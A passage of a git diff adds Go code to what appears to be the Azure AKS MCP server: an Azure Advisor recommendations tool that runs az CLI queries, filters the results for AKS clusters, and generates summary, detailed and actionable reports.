handleAKSAdvisorRecommendationReport generates a comprehensive report +func handleAKSAdvisorRecommendationReport(params map[string]interface{}, cfg *config.ConfigData) (string, error) { + subscriptionID, ok := params["subscription_id"].(string) + if !ok { + return "", fmt.Errorf("subscription_id parameter is required") + } + + // Get optional parameters + resourceGroup, _ := params["resource_group"].(string) + format, _ := params["format"].(string) + if format == "" { + format = "summary" + } + + // Get all AKS recommendations + recommendations, err := listRecommendationsViaCLI(subscriptionID, resourceGroup, "", cfg) + if err != nil { + return "", fmt.Errorf("failed to list recommendations: %w", err) + } + + // Filter for AKS-related recommendations + aksRecommendations := filterAKSRecommendationsFromCLI(recommendations) + summaries := convertToAKSRecommendationSummaries(aksRecommendations) + + // Generate report + report := generateAKSAdvisorReport(subscriptionID, summaries, format) + + // Return JSON response + result, err := json.MarshalIndent(report, "", " ") + if err != nil { + return "", fmt.Errorf("failed to marshal report: %w", err) + } + + return string(result), nil +} + +// listRecommendationsViaCLI executes Azure CLI command to list recommendations +func listRecommendationsViaCLI(subscriptionID, resourceGroup, category string, cfg *config.ConfigData) ([]CLIRecommendation, error) { + executor := azcli.NewExecutor() + + // Build command arguments + args := []string{"advisor", "recommendation", "list", "--subscription", subscriptionID, "--output", "json"} + + if resourceGroup != "" { + args = append(args, "--resource-group", resourceGroup) + } + //if category != "" { + // args = append(args, "--category", category) + //} + + // Create command parameters + cmdParams := map[string]interface{}{ + "command": "az " + strings.Join(args, " "), + } + + log.Printf("[ADVISOR] Executing command: %s", cmdParams["command"]) + + // Execute command + output, err := executor.Execute(cmdParams, cfg) + if err != nil { + log.Printf("[ADVISOR] Command execution failed: %v", err) + return nil, fmt.Errorf("failed to execute Azure CLI command: %w", err) + } + + log.Printf("[ADVISOR] Command output length: %d characters", len(output)) + + // Parse JSON output + var recommendations []CLIRecommendation + if err := json.Unmarshal([]byte(output), &recommendations); err != nil { + log.Printf("[ADVISOR] Failed to parse JSON output: %v", err) + return nil, fmt.Errorf("failed to parse recommendations JSON: %w", err) + } + + log.Printf("[ADVISOR] Successfully parsed %d recommendations from CLI output", len(recommendations)) + return recommendations, nil +} + +// getRecommendationDetailsViaCLI gets details for a specific recommendation +func getRecommendationDetailsViaCLI(recommendationID string, cfg *config.ConfigData) (*CLIRecommendation, error) { + executor := azcli.NewExecutor() + + // Build command + args := []string{"advisor", "recommendation", "show", "--recommendation-id", recommendationID, "--output", "json"} + + // Create command parameters + cmdParams := map[string]interface{}{ + "command": "az " + strings.Join(args, " "), + } + + // Execute command + output, err := executor.Execute(cmdParams, cfg) + if err != nil { + return nil, fmt.Errorf("failed to execute Azure CLI command: %w", err) + } + + // Parse JSON output + var recommendation CLIRecommendation + if err := json.Unmarshal([]byte(output), &recommendation); err != nil { + return nil, fmt.Errorf("failed to parse recommendation JSON: %w", err) + } + + return &recommendation, nil +} + +// filterAKSRecommendationsFromCLI filters recommendations to only AKS-related resources +func filterAKSRecommendationsFromCLI(recommendations []CLIRecommendation) []CLIRecommendation { + var aksRecommendations []CLIRecommendation + for _, rec := range recommendations { + if isAKSRelatedCLI(rec.ID) { + aksRecommendations = append(aksRecommendations, rec) + } + } + return aksRecommendations +} + +// isAKSRelatedCLI checks if a resource ID is related to AKS +func isAKSRelatedCLI(resourceID string) bool { + if resourceID == "" { + return false + } + return strings.Contains(resourceID, "Microsoft.ContainerService/managedClusters") || + strings.Contains(resourceID, "Microsoft.ContainerService/managedClusters/agentPools") || + (strings.Contains(resourceID, "Microsoft.Network/loadBalancers") && strings.Contains(resourceID, "kubernetes")) || + (strings.Contains(resourceID, "Microsoft.Network/publicIPAddresses") && strings.Contains(resourceID, "kubernetes")) +} + +// filterBySeverity filters recommendations by severity level +func filterBySeverity(recommendations []CLIRecommendation, severity string) []CLIRecommendation { + var filtered []CLIRecommendation + for _, rec := range recommendations { + if strings.EqualFold(rec.Impact, severity) { + filtered = append(filtered, rec) + } + } + return filtered +} + +// filterByClusterNames filters recommendations by cluster names +func filterByClusterNames(recommendations []CLIRecommendation, clusterNames []string) []CLIRecommendation { + var filtered []CLIRecommendation + for _, rec := range recommendations { + clusterName := extractAKSClusterNameFromCLI(rec.ID) + for _, filterName := range clusterNames { + if strings.EqualFold(clusterName, filterName) { + filtered = append(filtered, rec) + break + } + } + } + return filtered +} + +// extractAKSClusterNameFromCLI extracts AKS cluster name from resource ID +func extractAKSClusterNameFromCLI(resourceID string) string { + parts := strings.Split(resourceID, "/") + for i, part := range parts { + if part == "managedClusters" && i+1 < len(parts) { + return parts[i+1] + } + } + return "" +} + +// convertToAKSRecommendationSummaries converts CLI recommendations to AKS recommendation summaries +func convertToAKSRecommendationSummaries(recommendations []CLIRecommendation) []AKSRecommendationSummary { + var summaries []AKSRecommendationSummary + for _, rec := range recommendations { + summary := convertToAKSRecommendationSummary(rec) + summaries = append(summaries, summary) + } + return summaries +} + +// convertToAKSRecommendationSummary converts a single CLI recommendation to AKS recommendation summary +func convertToAKSRecommendationSummary(rec CLIRecommendation) AKSRecommendationSummary { + clusterName := extractAKSClusterNameFromCLI(rec.ID) + resourceGroup := extractResourceGroupFromResourceID(rec.ID) + + // Parse last updated time + lastUpdated, _ := time.Parse(time.RFC3339, rec.LastUpdated) + + return AKSRecommendationSummary{ + ID: rec.ID, + Category: rec.Category, + Impact: rec.Impact, + ClusterName: clusterName, + ResourceGroup: resourceGroup, + ResourceID: rec.ID, + Description: rec.ShortDescription.Problem + " " + rec.ShortDescription.Solution, + Severity: rec.Impact, // Map impact to severity + LastUpdated: lastUpdated, + Status: "Active", + AKSSpecific: AKSRecommendationDetails{ + ConfigurationArea: mapCategoryToConfigArea(rec.Category), + }, + } +} + +// extractResourceGroupFromResourceID extracts resource group name from Azure resource ID +func extractResourceGroupFromResourceID(resourceID string) string { + parts := strings.Split(resourceID, "/") + for i, part := range parts { + if part == "resourceGroups" && i+1 < len(parts) { + return parts[i+1] + } + } + return "" +} + +// mapCategoryToConfigArea maps Azure Advisor categories to configuration areas +func mapCategoryToConfigArea(category string) string { + switch strings.ToLower(category) { + case "cost": + return "compute" + case "security": + return "security" + case "performance": + return "compute" + case "highavailability": + return "networking" + default: + return "general" + } +} + +// generateAKSAdvisorReport generates a comprehensive AKS advisor report +func generateAKSAdvisorReport(subscriptionID string, recommendations []AKSRecommendationSummary, format string) AKSAdvisorReport { + // Generate summary statistics + summary := generateReportSummary(recommendations) + + // Generate action items based on priority + actionItems := generateActionItems(recommendations) + + // Group recommendations by cluster + clusterBreakdown := groupRecommendationsByCluster(recommendations) + + return AKSAdvisorReport{ + SubscriptionID: subscriptionID, + GeneratedAt: time.Now(), + Summary: summary, + Recommendations: recommendations, + ActionItems: actionItems, + ClusterBreakdown: clusterBreakdown, + } +} + +// generateReportSummary generates summary statistics for the report +func generateReportSummary(recommendations []AKSRecommendationSummary) AKSReportSummary { + byCategory := make(map[string]int) + bySeverity := make(map[string]int) + clustersMap := make(map[string]bool) + + for _, rec := range recommendations { + byCategory[rec.Category]++ + bySeverity[rec.Severity]++ + if rec.ClusterName != "" { + clustersMap[rec.ClusterName] = true + } + } + + return AKSReportSummary{ + TotalRecommendations: len(recommendations), + ByCategory: byCategory, + BySeverity: bySeverity, + ClustersAffected: len(clustersMap), + } +} + +// generateActionItems creates prioritized action items from recommendations +func generateActionItems(recommendations []AKSRecommendationSummary) []AKSActionItem { + var actionItems []AKSActionItem + priority := 1 + + // Sort by severity (High > Medium > Low) + highPriority := filterRecommendationsBySeverity(recommendations, "High") + mediumPriority := filterRecommendationsBySeverity(recommendations, "Medium") + lowPriority := filterRecommendationsBySeverity(recommendations, "Low") + + // Create action items in priority order + for _, rec := range append(append(highPriority, mediumPriority...), lowPriority...) { + actionItems = append(actionItems, AKSActionItem{ + Priority: priority, + RecommendationID: rec.ID, + ClusterName: rec.ClusterName, + Category: rec.Category, + Description: rec.Description, + EstimatedEffort: mapSeverityToEffort(rec.Severity), + PotentialImpact: rec.Severity, + }) + priority++ + } + + return actionItems +} + +// filterRecommendationsBySeverity filters recommendations by severity +func filterRecommendationsBySeverity(recommendations []AKSRecommendationSummary, severity string) []AKSRecommendationSummary { + var filtered []AKSRecommendationSummary + for _, rec := range recommendations { + if strings.EqualFold(rec.Severity, severity) { + filtered = append(filtered, rec) + } + } + return filtered +} + +// mapSeverityToEffort maps severity levels to estimated effort +func mapSeverityToEffort(severity string) string { + switch strings.ToLower(severity) { + case "high": + return "Medium" + case "medium": + return "Low" + case "low": + return "Minimal" + default: + return "Unknown" + } +} + +// groupRecommendationsByCluster groups recommendations by cluster name +func groupRecommendationsByCluster(recommendations []AKSRecommendationSummary) []ClusterRecommendations { + clusterMap := make(map[string][]AKSRecommendationSummary) + rgMap := make(map[string]string) + + for _, rec := range recommendations { + if rec.ClusterName != "" { + clusterMap[rec.ClusterName] = append(clusterMap[rec.ClusterName], rec) + rgMap[rec.ClusterName] = rec.ResourceGroup + } + } + + var clusterBreakdown []ClusterRecommendations + for clusterName, recs := range clusterMap { + clusterBreakdown = append(clusterBreakdown, ClusterRecommendations{ + ClusterName: clusterName, + ResourceGroup: rgMap[clusterName], + Recommendations: recs, + }) + } + + return clusterBreakdown +} diff --git a/internal/components/advisor/handlers.go b/internal/components/advisor/handlers.go new file mode 100644 index 0000000..adc8cba --- /dev/null +++ b/internal/components/advisor/handlers.go @@ -0,0 +1,18 @@ +package advisor + +import ( + "github.com/Azure/aks-mcp/internal/config" + "github.com/Azure/aks-mcp/internal/tools" +) + +// ============================================================================= +// Advisory-related Handlers +// ============================================================================= + +// GetAdvisorRecommendationHandler returns a handler for the az_advisor_recommendation command +func GetAdvisorRecommendationHandler(cfg *config.ConfigData) tools.ResourceHandler { + return tools.ResourceHandlerFunc(func(params map[string]interface{}, _ *config.ConfigData) (string, error) { + // Use the advisor package handler directly + return HandleAdvisorRecommendation(params, cfg) + }) +} diff --git a/internal/components/advisor/registry.go b/internal/components/advisor/registry.go new file mode 100644 index 0000000..c5403ae --- /dev/null +++ b/internal/components/advisor/registry.go @@ -0,0 +1,41 @@ +package advisor + +import ( + "github.com/mark3labs/mcp-go/mcp" +) + +// Advisory-related tool registrations + +// RegisterAdvisorRecommendationTool registers the az_advisor_recommendation tool +func RegisterAdvisorRecommendationTool() mcp.Tool { + return mcp.NewTool( + "az_advisor_recommendation", + mcp.WithDescription("Retrieve and manage Azure Advisor recommendations for AKS clusters"), + mcp.WithString("operation", + mcp.Description("Operation to perform: list, details, or report"), + mcp.Required(), + ), + mcp.WithString("subscription_id", + mcp.Description("Azure subscription ID to query recommendations"), + mcp.Required(), + ), + mcp.WithString("resource_group", + mcp.Description("Filter by specific resource group containing AKS clusters"), + ), + mcp.WithString("cluster_names", + mcp.Description("Comma-separated list of specific AKS cluster names to filter recommendations"), + ), + mcp.WithString("category", + mcp.Description("Filter by recommendation category: Cost, HighAvailability, Performance, Security"), + ), + mcp.WithString("severity", + mcp.Description("Filter by severity level: High, Medium, Low"), + ), + mcp.WithString("recommendation_id", + mcp.Description("Unique identifier for specific recommendation (required for details operation)"), + ), + mcp.WithString("format", + mcp.Description("Output format for reports: summary, detailed, actionable"), + ), + ) +} diff --git a/internal/components/advisor/reports.go b/internal/components/advisor/reports.go new file mode 100644 index 0000000..37938c9 --- /dev/null +++ b/internal/components/advisor/reports.go @@ -0,0 +1,539 @@ +package advisor + +import ( + "encoding/json" + "fmt" + "sort" + "strings" + "time" +) + +// GenerateExecutiveSummary creates an executive summary of AKS recommendations +func GenerateExecutiveSummary(report AKSAdvisorReport) (string, error) { + summary := ExecutiveSummary{ + GeneratedAt: report.GeneratedAt, + SubscriptionID: report.SubscriptionID, + TotalClusters: report.Summary.ClustersAffected, + TotalRecommendations: report.Summary.TotalRecommendations, + HighPriorityCount: report.Summary.BySeverity["High"], + MediumPriorityCount: report.Summary.BySeverity["Medium"], + LowPriorityCount: report.Summary.BySeverity["Low"], + TopCategories: getTopCategories(report.Summary.ByCategory), + KeyFindings: generateKeyFindings(report), + NextSteps: generateNextSteps(report), + } + + result, err := json.MarshalIndent(summary, "", " ") + if err != nil { + return "", fmt.Errorf("failed to marshal executive summary: %w", err) + } + + return string(result), nil +} + +// GenerateDetailedReport creates a detailed report with all recommendation information +func GenerateDetailedReport(report AKSAdvisorReport) (string, error) { + detailedReport := DetailedReport{ + ExecutiveSummary: ExecutiveSummary{ + GeneratedAt: report.GeneratedAt, + SubscriptionID: report.SubscriptionID, + TotalClusters: report.Summary.ClustersAffected, + TotalRecommendations: report.Summary.TotalRecommendations, + HighPriorityCount: report.Summary.BySeverity["High"], + MediumPriorityCount: report.Summary.BySeverity["Medium"], + LowPriorityCount: report.Summary.BySeverity["Low"], + TopCategories: getTopCategories(report.Summary.ByCategory), + KeyFindings: generateKeyFindings(report), + NextSteps: generateNextSteps(report), + }, + CategoryBreakdown: generateCategoryBreakdown(report), + ClusterAnalysis: generateClusterAnalysis(report), + PriorityMatrix: generatePriorityMatrix(report), + ImplementationTimeline: generateImplementationTimeline(report), + AllRecommendations: report.Recommendations, + } + + result, err := json.MarshalIndent(detailedReport, "", " ") + if err != nil { + return "", fmt.Errorf("failed to marshal detailed report: %w", err) + } + + return string(result), nil +} + +// GenerateActionableReport creates a focused report with actionable items +func GenerateActionableReport(report AKSAdvisorReport) (string, error) { + actionableReport := ActionableReport{ + GeneratedAt: report.GeneratedAt, + SubscriptionID: report.SubscriptionID, + QuickWins: identifyQuickWins(report), + HighImpactItems: identifyHighImpactItems(report), + CostOptimization: identifyCostOptimization(report), + SecurityImprovements: identifySecurityImprovements(report), + PerformanceBoosts: identifyPerformanceBoosts(report), + ImplementationGuide: generateImplementationGuide(report), + } + + result, err := json.MarshalIndent(actionableReport, "", " ") + if err != nil { + return "", fmt.Errorf("failed to marshal actionable report: %w", err) + } + + return string(result), nil +} + +// Report structure types +type ExecutiveSummary struct { + GeneratedAt time.Time `json:"generated_at"` + SubscriptionID string `json:"subscription_id"` + TotalClusters int `json:"total_clusters"` + TotalRecommendations int `json:"total_recommendations"` + HighPriorityCount int `json:"high_priority_count"` + MediumPriorityCount int `json:"medium_priority_count"` + LowPriorityCount int `json:"low_priority_count"` + TopCategories []CategoryCount `json:"top_categories"` + KeyFindings []string `json:"key_findings"` + NextSteps []string `json:"next_steps"` +} + +type DetailedReport struct { + ExecutiveSummary ExecutiveSummary `json:"executive_summary"` + CategoryBreakdown []CategoryBreakdown `json:"category_breakdown"` + ClusterAnalysis []ClusterAnalysis `json:"cluster_analysis"` + PriorityMatrix []PriorityMatrixItem `json:"priority_matrix"` + ImplementationTimeline []TimelineItem `json:"implementation_timeline"` + AllRecommendations []AKSRecommendationSummary `json:"all_recommendations"` +} + +type ActionableReport struct { + GeneratedAt time.Time `json:"generated_at"` + SubscriptionID string `json:"subscription_id"` + QuickWins []ActionableItem `json:"quick_wins"` + HighImpactItems []ActionableItem `json:"high_impact_items"` + CostOptimization []ActionableItem `json:"cost_optimization"` + SecurityImprovements []ActionableItem `json:"security_improvements"` + PerformanceBoosts []ActionableItem `json:"performance_boosts"` + ImplementationGuide ImplementationGuide `json:"implementation_guide"` +} + +type CategoryCount struct { + Category string `json:"category"` + Count int `json:"count"` +} + +type CategoryBreakdown struct { + Category string `json:"category"` + Count int `json:"count"` + Recommendations []AKSRecommendationSummary `json:"recommendations"` + Impact string `json:"impact"` +} + +type ClusterAnalysis struct { + ClusterName string `json:"cluster_name"` + ResourceGroup string `json:"resource_group"` + RecommendationCount int `json:"recommendation_count"` + HighPriorityCount int `json:"high_priority_count"` + PrimaryCategories []string `json:"primary_categories"` + OverallRisk string `json:"overall_risk"` +} + +type PriorityMatrixItem struct { + RecommendationID string `json:"recommendation_id"` + ClusterName string `json:"cluster_name"` + Category string `json:"category"` + Impact string `json:"impact"` + Effort string `json:"effort"` + Priority int `json:"priority"` +} + +type TimelineItem struct { + Week int `json:"week"` + RecommendationIDs []string `json:"recommendation_ids"` + Focus string `json:"focus"` + EstimatedHours int `json:"estimated_hours"` +} + +type ActionableItem struct { + RecommendationID string `json:"recommendation_id"` + ClusterName string `json:"cluster_name"` + Title string `json:"title"` + Description string `json:"description"` + Steps []string `json:"steps"` + ExpectedOutcome string `json:"expected_outcome"` + TimeEstimate string `json:"time_estimate"` +} + +type ImplementationGuide struct { + Phase1 ImplementationPhase `json:"phase_1"` + Phase2 ImplementationPhase `json:"phase_2"` + Phase3 ImplementationPhase `json:"phase_3"` +} + +type ImplementationPhase struct { + Name string `json:"name"` + Duration string `json:"duration"` + Focus string `json:"focus"` + Actions []ActionableItem `json:"actions"` + Prerequisites []string `json:"prerequisites"` + SuccessMetrics []string `json:"success_metrics"` +} + +// Helper functions for report generation + +func getTopCategories(categoryMap map[string]int) []CategoryCount { + var categories []CategoryCount + for category, count := range categoryMap { + categories = append(categories, CategoryCount{ + Category: category, + Count: count, + }) + } + + // Sort by count descending + sort.Slice(categories, func(i, j int) bool { + return categories[i].Count > categories[j].Count + }) + + // Return top 5 categories + if len(categories) > 5 { + categories = categories[:5] + } + + return categories +} + +func generateKeyFindings(report AKSAdvisorReport) []string { + var findings []string + + if report.Summary.TotalRecommendations == 0 { + findings = append(findings, "No Azure Advisor recommendations found for AKS clusters in this subscription") + return findings + } + + if report.Summary.BySeverity["High"] > 0 { + findings = append(findings, fmt.Sprintf("%d high-priority recommendations require immediate attention", report.Summary.BySeverity["High"])) + } + + if report.Summary.ClustersAffected > 0 { + findings = append(findings, fmt.Sprintf("%d AKS clusters have recommendations for optimization", report.Summary.ClustersAffected)) + } + + // Find most common category + maxCount := 0 + topCategory := "" + for category, count := range report.Summary.ByCategory { + if count > maxCount { + maxCount = count + topCategory = category + } + } + + if topCategory != "" { + findings = append(findings, fmt.Sprintf("Most recommendations focus on %s (%d recommendations)", topCategory, maxCount)) + } + + return findings +} + +func generateNextSteps(report AKSAdvisorReport) []string { + var steps []string + + if report.Summary.BySeverity["High"] > 0 { + steps = append(steps, "Address high-priority recommendations first") + } + + if report.Summary.ByCategory["Cost"] > 0 { + steps = append(steps, "Review cost optimization opportunities") + } + + if report.Summary.ByCategory["Security"] > 0 { + steps = append(steps, "Implement security recommendations to improve cluster security posture") + } + + steps = append(steps, "Schedule regular review of Azure Advisor recommendations") + steps = append(steps, "Set up Azure Advisor alerts for new recommendations") + + return steps +} + +func generateCategoryBreakdown(report AKSAdvisorReport) []CategoryBreakdown { + categoryMap := make(map[string][]AKSRecommendationSummary) + + for _, rec := range report.Recommendations { + categoryMap[rec.Category] = append(categoryMap[rec.Category], rec) + } + + var breakdown []CategoryBreakdown + for category, recs := range categoryMap { + impact := "Medium" + if len(recs) > 5 { + impact = "High" + } else if len(recs) <= 2 { + impact = "Low" + } + + breakdown = append(breakdown, CategoryBreakdown{ + Category: category, + Count: len(recs), + Recommendations: recs, + Impact: impact, + }) + } + + // Sort by count descending + sort.Slice(breakdown, func(i, j int) bool { + return breakdown[i].Count > breakdown[j].Count + }) + + return breakdown +} + +func generateClusterAnalysis(report AKSAdvisorReport) []ClusterAnalysis { + var analysis []ClusterAnalysis + + for _, cluster := range report.ClusterBreakdown { + highPriorityCount := 0 + categoryMap := make(map[string]int) + + for _, rec := range cluster.Recommendations { + if strings.EqualFold(rec.Severity, "High") { + highPriorityCount++ + } + categoryMap[rec.Category]++ + } + + // Get primary categories + var primaryCategories []string + for category := range categoryMap { + primaryCategories = append(primaryCategories, category) + } + + // Determine overall risk + overallRisk := "Low" + if highPriorityCount > 3 { + overallRisk = "High" + } else if highPriorityCount > 1 { + overallRisk = "Medium" + } + + analysis = append(analysis, ClusterAnalysis{ + ClusterName: cluster.ClusterName, + ResourceGroup: cluster.ResourceGroup, + RecommendationCount: len(cluster.Recommendations), + HighPriorityCount: highPriorityCount, + PrimaryCategories: primaryCategories, + OverallRisk: overallRisk, + }) + } + + return analysis +} + +func generatePriorityMatrix(report AKSAdvisorReport) []PriorityMatrixItem { + var matrix []PriorityMatrixItem + + for i, rec := range report.Recommendations { + effort := mapSeverityToEffort(rec.Severity) + + matrix = append(matrix, PriorityMatrixItem{ + RecommendationID: rec.ID, + ClusterName: rec.ClusterName, + Category: rec.Category, + Impact: rec.Severity, + Effort: effort, + Priority: i + 1, + }) + } + + return matrix +} + +func generateImplementationTimeline(report AKSAdvisorReport) []TimelineItem { + var timeline []TimelineItem + week := 1 + + // Group high priority items for week 1 + var highPriorityIDs []string + for _, rec := range report.Recommendations { + if strings.EqualFold(rec.Severity, "High") { + highPriorityIDs = append(highPriorityIDs, rec.ID) + } + } + + if len(highPriorityIDs) > 0 { + timeline = append(timeline, TimelineItem{ + Week: week, + RecommendationIDs: highPriorityIDs, + Focus: "High Priority Items", + EstimatedHours: len(highPriorityIDs) * 4, + }) + week++ + } + + // Group medium priority items for subsequent weeks + var mediumPriorityIDs []string + for _, rec := range report.Recommendations { + if strings.EqualFold(rec.Severity, "Medium") { + mediumPriorityIDs = append(mediumPriorityIDs, rec.ID) + } + } + + if len(mediumPriorityIDs) > 0 { + timeline = append(timeline, TimelineItem{ + Week: week, + RecommendationIDs: mediumPriorityIDs, + Focus: "Medium Priority Items", + EstimatedHours: len(mediumPriorityIDs) * 2, + }) + } + + return timeline +} + +func identifyQuickWins(report AKSAdvisorReport) []ActionableItem { + var quickWins []ActionableItem + + for _, rec := range report.Recommendations { + if strings.EqualFold(rec.Severity, "Low") || strings.Contains(strings.ToLower(rec.Description), "configuration") { + quickWins = append(quickWins, ActionableItem{ + RecommendationID: rec.ID, + ClusterName: rec.ClusterName, + Title: "Quick Configuration Fix", + Description: rec.Description, + Steps: []string{"Review current configuration", "Apply recommended changes", "Validate changes"}, + ExpectedOutcome: "Improved cluster configuration", + TimeEstimate: "30 minutes", + }) + } + } + + return quickWins +} + +func identifyHighImpactItems(report AKSAdvisorReport) []ActionableItem { + var highImpact []ActionableItem + + for _, rec := range report.Recommendations { + if strings.EqualFold(rec.Severity, "High") { + highImpact = append(highImpact, ActionableItem{ + RecommendationID: rec.ID, + ClusterName: rec.ClusterName, + Title: "High Impact Improvement", + Description: rec.Description, + Steps: generateStepsForCategory(rec.Category), + ExpectedOutcome: "Significant improvement in " + strings.ToLower(rec.Category), + TimeEstimate: "2-4 hours", + }) + } + } + + return highImpact +} + +func identifyCostOptimization(report AKSAdvisorReport) []ActionableItem { + var costItems []ActionableItem + + for _, rec := range report.Recommendations { + if strings.EqualFold(rec.Category, "Cost") { + costItems = append(costItems, ActionableItem{ + RecommendationID: rec.ID, + ClusterName: rec.ClusterName, + Title: "Cost Optimization", + Description: rec.Description, + Steps: []string{"Analyze current resource usage", "Implement recommended changes", "Monitor cost impact"}, + ExpectedOutcome: "Reduced Azure costs", + TimeEstimate: "1-2 hours", + }) + } + } + + return costItems +} + +func identifySecurityImprovements(report AKSAdvisorReport) []ActionableItem { + var securityItems []ActionableItem + + for _, rec := range report.Recommendations { + if strings.EqualFold(rec.Category, "Security") { + securityItems = append(securityItems, ActionableItem{ + RecommendationID: rec.ID, + ClusterName: rec.ClusterName, + Title: "Security Enhancement", + Description: rec.Description, + Steps: []string{"Review security configuration", "Apply security recommendations", "Validate security posture"}, + ExpectedOutcome: "Improved cluster security", + TimeEstimate: "1-3 hours", + }) + } + } + + return securityItems +} + +func identifyPerformanceBoosts(report AKSAdvisorReport) []ActionableItem { + var performanceItems []ActionableItem + + for _, rec := range report.Recommendations { + if strings.EqualFold(rec.Category, "Performance") { + performanceItems = append(performanceItems, ActionableItem{ + RecommendationID: rec.ID, + ClusterName: rec.ClusterName, + Title: "Performance Optimization", + Description: rec.Description, + Steps: []string{"Benchmark current performance", "Apply performance recommendations", "Measure performance improvements"}, + ExpectedOutcome: "Better cluster performance", + TimeEstimate: "2-4 hours", + }) + } + } + + return performanceItems +} + +func generateImplementationGuide(report AKSAdvisorReport) ImplementationGuide { + quickWins := identifyQuickWins(report) + highImpact := identifyHighImpactItems(report) + costOptimization := identifyCostOptimization(report) + + return ImplementationGuide{ + Phase1: ImplementationPhase{ + Name: "Quick Wins", + Duration: "Week 1", + Focus: "Low-effort, high-value improvements", + Actions: quickWins, + Prerequisites: []string{"Cluster access", "Configuration review permissions"}, + SuccessMetrics: []string{"Number of quick wins implemented", "Configuration compliance improvement"}, + }, + Phase2: ImplementationPhase{ + Name: "High Impact Items", + Duration: "Weeks 2-3", + Focus: "Critical improvements requiring more effort", + Actions: highImpact, + Prerequisites: []string{"Phase 1 completion", "Change management approval"}, + SuccessMetrics: []string{"Reduction in high-priority recommendations", "Improved cluster health scores"}, + }, + Phase3: ImplementationPhase{ + Name: "Long-term Optimization", + Duration: "Weeks 4-6", + Focus: "Cost optimization and advanced improvements", + Actions: costOptimization, + Prerequisites: []string{"Phases 1-2 completion", "Budget approval for changes"}, + SuccessMetrics: []string{"Cost reduction achieved", "Performance improvements measured"}, + }, + } +} + +func generateStepsForCategory(category string) []string { + switch strings.ToLower(category) { + case "cost": + return []string{"Analyze resource utilization", "Right-size resources", "Implement cost controls", "Monitor savings"} + case "security": + return []string{"Review security policies", "Update configurations", "Enable security features", "Validate security posture"} + case "performance": + return []string{"Benchmark current performance", "Apply performance tuning", "Optimize resource allocation", "Monitor improvements"} + case "highavailability": + return []string{"Review availability configuration", "Implement redundancy", "Test failover scenarios", "Monitor availability metrics"} + default: + return []string{"Review recommendation details", "Plan implementation", "Apply changes", "Validate results"} + } +} diff --git a/internal/components/advisor/types.go b/internal/components/advisor/types.go new file mode 100644 index 0000000..61b18a5 --- /dev/null +++ b/internal/components/advisor/types.go @@ -0,0 +1,88 @@ +package advisor + +import ( + "time" +) + +// AKSRecommendationSummary represents an Azure Advisor recommendation for AKS resources +type AKSRecommendationSummary struct { + ID string `json:"id"` + Category string `json:"category"` + Impact string `json:"impact"` + ClusterName string `json:"cluster_name"` + ResourceGroup string `json:"resource_group"` + ResourceID string `json:"resource_id"` + Description string `json:"description"` + Severity string `json:"severity"` + PotentialSavings *CostSavings `json:"potential_savings,omitempty"` + LastUpdated time.Time `json:"last_updated"` + Status string `json:"status"` + AKSSpecific AKSRecommendationDetails `json:"aks_specific"` +} + +// AKSRecommendationDetails contains AKS-specific information +type AKSRecommendationDetails struct { + ClusterVersion string `json:"cluster_version,omitempty"` + NodePoolNames []string `json:"node_pool_names,omitempty"` + WorkloadType string `json:"workload_type,omitempty"` + ConfigurationArea string `json:"configuration_area,omitempty"` // networking, compute, storage, security +} + +// CostSavings represents potential cost savings information +type CostSavings struct { + Currency string `json:"currency"` + AnnualSavings float64 `json:"annual_savings"` + MonthlySavings float64 `json:"monthly_savings"` +} + +// AKSAdvisorReport represents a comprehensive report of AKS recommendations +type AKSAdvisorReport struct { + SubscriptionID string `json:"subscription_id"` + GeneratedAt time.Time `json:"generated_at"` + Summary AKSReportSummary `json:"summary"` + Recommendations []AKSRecommendationSummary `json:"recommendations"` + ActionItems []AKSActionItem `json:"action_items"` + ClusterBreakdown []ClusterRecommendations `json:"cluster_breakdown"` +} + +// AKSReportSummary provides high-level statistics +type AKSReportSummary struct { + TotalRecommendations int `json:"total_recommendations"` + ByCategory map[string]int `json:"by_category"` + BySeverity map[string]int `json:"by_severity"` + TotalPotentialSavings *CostSavings `json:"total_potential_savings,omitempty"` + ClustersAffected int `json:"clusters_affected"` +} + +// AKSActionItem represents a prioritized action item +type AKSActionItem struct { + Priority int `json:"priority"` + RecommendationID string `json:"recommendation_id"` + ClusterName string `json:"cluster_name"` + Category string `json:"category"` + Description string `json:"description"` + EstimatedEffort string `json:"estimated_effort"` + PotentialImpact string `json:"potential_impact"` +} + +// ClusterRecommendations groups recommendations by cluster +type ClusterRecommendations struct { + ClusterName string `json:"cluster_name"` + ResourceGroup string `json:"resource_group"` + Recommendations []AKSRecommendationSummary `json:"recommendations"` + TotalSavings *CostSavings `json:"total_savings,omitempty"` +} + +// CLIRecommendation represents the raw Azure CLI recommendation structure +type CLIRecommendation struct { + ID string `json:"id"` + Name string `json:"name"` + Category string `json:"category"` + Impact string `json:"impact"` + ImpactedValue string `json:"impactedValue"` + LastUpdated string `json:"lastUpdated"` + ShortDescription struct { + Problem string `json:"problem"` + Solution string `json:"solution"` + } `json:"shortDescription"` +} diff --git a/internal/components/azaks/registry.go b/internal/components/azaks/registry.go new file mode 100644 index 0000000..943baf1 --- /dev/null +++ b/internal/components/azaks/registry.go @@ -0,0 +1,163 @@ +package azaks + +import ( + "github.com/Azure/aks-mcp/internal/utils" + "github.com/mark3labs/mcp-go/mcp" +) + +// AksCommand defines a specific az aks command to be registered as a tool +type AksCommand struct { + Name string + Description string + ArgsExample string // Example of command arguments +} + +// // RegisterAz registers the generic az tool +// func RegisterAz() mcp.Tool { +// return mcp.NewTool("Run-az-command", +// mcp.WithDescription("Run az command and get result"), +// mcp.WithString("command", +// mcp.Required(), +// mcp.Description("The az command to execute"), +// ), +// ) +// } + +// RegisterAzCommand registers a specific az command as an MCP tool +func RegisterAzCommand(cmd AksCommand) mcp.Tool { + // Convert spaces to underscores for valid tool name + commandName := cmd.Name + validToolName := utils.ReplaceSpacesWithUnderscores(commandName) + + description := "Run " + cmd.Name + " command: " + cmd.Description + "." + + // Add example if available, with proper punctuation + if cmd.ArgsExample != "" { + description += "\nExample: `" + cmd.ArgsExample + "`" + } + + return mcp.NewTool(validToolName, + mcp.WithDescription(description), + mcp.WithString("args", + mcp.Required(), + mcp.Description("Arguments for the `"+cmd.Name+"` command"), + ), + ) +} + +// Agents have limit on the number of tools they can register +// so we need to be selective about which commands we register. +// We comment out the commands that are not yet agreed upon, +// once we have a final list, we can uncomment them + +// GetReadOnlyAzCommands returns all read-only az commands +func GetReadOnlyAzCommands() []AksCommand { + return []AksCommand{ + // Cluster information commands + {Name: "az aks show", 